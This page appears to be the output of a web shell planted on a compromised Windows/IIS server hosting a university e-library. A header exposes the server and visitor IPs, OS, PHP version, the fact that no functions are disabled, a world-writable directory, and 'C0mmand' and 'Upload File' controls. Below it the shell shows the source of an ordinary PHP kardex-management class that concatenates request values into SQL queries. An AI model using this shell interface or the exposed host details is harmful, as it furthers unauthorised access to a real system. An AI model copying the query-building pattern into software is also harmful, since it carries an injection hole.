Server IP : 103.11.96.170 / Your IP : 18.219.43.26 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/elibrary/admin/modules/serial_control/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Copyright (C) 2009 Wardiyono, Arie Nugraha (dicarve@yahoo.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ // be sure that this file not accessed directly if (INDEX_AUTH != 1) { die("can not access this file directly"); } /* SERIAL CONTROL BASE LIBRARY */ class serial { private $obj_db = null; private $serial_id = 0; private $serial_date_start; private $serial_period; private $frequency_time_unit = 'month'; private $frequency_increment = 30; private $biblio_id = 0; /** * Class constructor * @param object $obj_db * @return void **/ public function __construct($obj_db, $int_serial_id = 0) { $this->obj_db = $obj_db; $this->serial_id = $int_serial_id; // get serial data $_serial_q = $this->obj_db->query('SELECT * FROM serial AS sr LEFT JOIN biblio AS b ON sr.biblio_id=b.biblio_id LEFT JOIN mst_frequency AS fr ON b.frequency_id=fr.frequency_id WHERE sr.serial_id='.$this->serial_id); $_serial_d = $_serial_q->fetch_assoc(); // set properties $this->serial_date_start = $_serial_d['date_start']; $this->serial_period = $_serial_d['period']; $this->frequency_increment = $_serial_d['time_increment']; $this->frequency_time_unit = $_serial_d['time_unit']; $this->biblio_id = $_serial_d['biblio_id']; } /** * Generate kardex entry * @param integer $int_total_expl * @param boolean $bool_insert_to_DB * @return array **/ public function generateKardexes($int_total_expl, $bool_insert_to_DB = true) { if ($int_total_expl < 1) { $int_total_expl = 1; } // initialize kardex array $_kardex = array(); $_parsed_date = date_parse($this->serial_date_start); $_year = $_parsed_date['year']; $_month = $_parsed_date['month']; $_day = $_parsed_date['day']; $_curr_date = date('Y-m-d'); for ($_k=0; $_k<$int_total_expl; $_k++) { switch ($this->frequency_time_unit) { case 'day': $_entry_date = date('Y-m-d', mktime(0, 0, 0, $_month, $_day+($this->frequency_increment*$_k), $_year)); break; case 'week': $_entry_date = date('Y-m-d', mktime(0, 0, 0, $_month, $_day+($this->frequency_increment*7*$_k), $_year)); break; case 'month': $_entry_date = date('Y-m-d', mktime(0, 0, 0, $_month+($this->frequency_increment*$_k), $_day, $_year)); break; case 'year': $_entry_date = date('Y-m-d', mktime(0, 0, 0, $_month, $_day, $_year+($this->frequency_increment*$_k))); break; } $_seq = $_k+1; // append to kardex entry array $_kardex[$_seq] = $_entry_date; // insert to database if ($bool_insert_to_DB) { @$this->obj_db->query("INSERT INTO kardex (date_expected, seq_number, serial_id, input_date, last_update) VALUES ('$_entry_date', '$_seq', '".$this->serial_id."', '$_curr_date', '$_curr_date')"); } } return $_kardex; } /** * Get kardex entries * @return array **/ public function getKardexes() { $_kardex = array(); $_kardex_q = $this->obj_db->query('SELECT * FROM kardex WHERE serial_id='.$this->serial_id.' ORDER BY date_expected ASC LIMIT 365'); while ($_kardex_d = $_kardex_q->fetch_assoc()) { $_kardex[] = $_kardex_d; } return $_kardex; } /** * View kardex list * @return string **/ public function viewKardexes() { $_can_read = utility::havePrivilege('serial_control', 'r'); $_can_write = utility::havePrivilege('serial_control', 'w'); // start the output buffer ob_start(); ?> <script type="text/javascript"> function confirmProcess(int_serial_id, int_kardex_id) { var confirmBox = confirm('<?php echo addslashes(__('Are you sure to remove selected Kardex data?'));?>' + "\n" + '<?php echo addslashes(__('Once deleted, it can\'t be restored!'));?>'); if (confirmBox) { // set hidden element value document.hiddenActionForm.serialID.value = int_serial_id; document.hiddenActionForm.remove.value = int_kardex_id; // submit form document.hiddenActionForm.submit(); } } </script> <?php $_table = new simbio_table(); $_table->table_attr = 'align="center" class="detailTable" style="width: 100%;" cellpadding="2" cellspacing="0"'; $_table->table_header_attr = 'class="dataListHeader" style="font-weight: bold;"'; $_table->highlight_row = true; $_table->setHeader(array( '', __('Date Expected'), __('Date Received'), __('Seq. Number'), __('Note')) ); if ($_can_read AND $_can_write) { $_add_link = '<div style="white-space:nowrap" class="pt-2" title="' . __('Add New Kardex') . '">'.__('Add New Kardex').'</div>'; $_date_exp = simbio_form_element::dateField('dateExpected[0]','','class="form-control"'); $_date_rec = simbio_form_element::dateField('dateReceived[0]','','class="form-control"'); $_seq_num = simbio_form_element::textField('text', 'seqNumber[0]', '', 'class="form-control"'); $_notes = simbio_form_element::textField('text', 'notes[0]', '', 'class="form-control"'); $_table->appendTableRow(array($_add_link, $_date_exp, $_date_rec, $_seq_num, $_notes)); $_table->setCellAttr(1, null, 'valign="top" class="alterCell2" style="font-weight: bold; width: auto;"'); $_table->setCellAttr(1, 0, 'valign="top" class="alterCell2" style="font-weight: bold; width: 5%;"'); $_table->setCellAttr(1, 1, 'valign="top" class="alterCell2" style="font-weight: bold; width: 25%;"'); $_table->setCellAttr(1, 2, 'valign="top" class="alterCell2" style="font-weight: bold; width: 25%;"'); } $_row = 2; foreach ($this->getKardexes() as $_kardex) { // alternate the row color $_row_class = ($_row%2 == 0)?'alterCell':'alterCell2'; if ($_can_read AND $_can_write) { // kardex removal links $_remove_link = '<div class="mt-2"><a href="#" onclick="confirmProcess('.$this->serial_id.', '.$_kardex['kardex_id'].')" class="s-btn btn-danger btn-sm notAJAX">'.__('Trash').'</a></div>'; $_date_exp = simbio_form_element::dateField('dateExpected['.$_kardex['kardex_id'].']', $_kardex['date_expected'],'class="form-control"'); $_date_rec = simbio_form_element::dateField('dateReceived['.$_kardex['kardex_id'].']', $_kardex['date_received'],'class="form-control"'); $_seq_num = simbio_form_element::textField('text', 'seqNumber['.$_kardex['kardex_id'].']', $_kardex['seq_number'], 'class="form-control"'); $_notes = simbio_form_element::textField('text', 'notes['.$_kardex['kardex_id'].']', $_kardex['notes'], 'class="form-control"'); } else { $_remove_link = ' '; $_date_exp = $_kardex['date_expected']; $_date_rec = $_kardex['date_received']; $_seq_num = $_kardex['seq_number']; $_notes = $_kardex['notes']; } $_table->appendTableRow(array($_remove_link, $_date_exp, $_date_rec, $_seq_num, $_notes)); $_table->setCellAttr($_row, null, 'valign="top" class="'.$_row_class.'" style="font-weight: bold; width: auto;"'); $_table->setCellAttr($_row, 0, 'valign="top" class="'.$_row_class.'" style="font-weight: bold; width: 5%;"'); $_table->setCellAttr($_row, 1, 'valign="top" class="'.$_row_class.'" style="font-weight: bold; width: 25%;"'); $_table->setCellAttr($_row, 2, 'valign="top" class="'.$_row_class.'" style="font-weight: bold; width: 25%;"'); $_row++; } // button $_button_grp = '<div><input type="submit" class="s-btn btn btn-primary" name="saveKardexes" value="'.__('Save').'" /></div>'; // header echo '<div class="alert alert-warning">'.__('Kardex Detail for subscription').' <strong>'.$this->serial_period.'</strong></div>'; if ($_can_read AND $_can_write) { echo '<form method="post" name="kardexListForm" id="kardexListForm" action="'.$_SERVER['PHP_SELF'].'">'; echo $_button_grp; } echo $_table->printTable(); if ($_can_read AND $_can_write) { echo $_button_grp; echo simbio_form_element::hiddenField('serialID', $this->serial_id); echo '</form>'; // hidden form echo '<form name="hiddenActionForm" method="post" action="'.$_SERVER['PHP_SELF'].'"><input type="hidden" name="serialID" value="0" /><input type="hidden" name="remove" value="0" /></form>'; } /* main content end */ $_content = ob_get_clean(); return $_content; } /** * Save kardex data array * return void **/ public function saveKardexes() { $_serialID = (integer)$_POST['serialID']; // iterate trough dateExpected foreach ($_POST['dateExpected'] as $_kardexID => $_kardex_d) { $_date_expected = trim($this->obj_db->escape_string($_kardex_d)); if (!$_date_expected) { continue; } $_date_received = trim($this->obj_db->escape_string($_POST['dateReceived'][$_kardexID])); $_seq_number = trim($this->obj_db->escape_string($_POST['seqNumber'][$_kardexID])); $_notes = trim($this->obj_db->escape_string($_POST['notes'][$_kardexID])); // data checking $_date_received = !empty($_date_received)?'\''.$_date_received.'\'':'NULL'; $_seq_number = !empty($_seq_number)?'\''.$_seq_number.'\'':'NULL'; $_notes = !empty($_notes)?'\''.$_notes.'\'':'NULL'; // do update if ($_kardexID == 0) { @$this->obj_db->query("INSERT INTO kardex (serial_id, date_expected, date_received, seq_number, notes) VALUES ($_serialID, '$_date_expected', $_date_received, $_seq_number, $_notes)"); } else { @$this->obj_db->query("UPDATE kardex SET date_expected='$_date_expected', date_received=$_date_received, seq_number=$_seq_number, notes=$_notes WHERE kardex_id=$_kardexID AND serial_id=$_serialID"); } } } /** * Delete kardex data entry * @param integer $int_kardex_id * return void **/ public function deleteKardex($int_kardex_id) { $_kardexID = (integer)$int_kardex_id; $_delete = $this->obj_db->query('DELETE FROM kardex WHERE kardex_id='.$int_kardex_id); if ($this->obj_db->affected_rows > 0) { return true; } return false; } }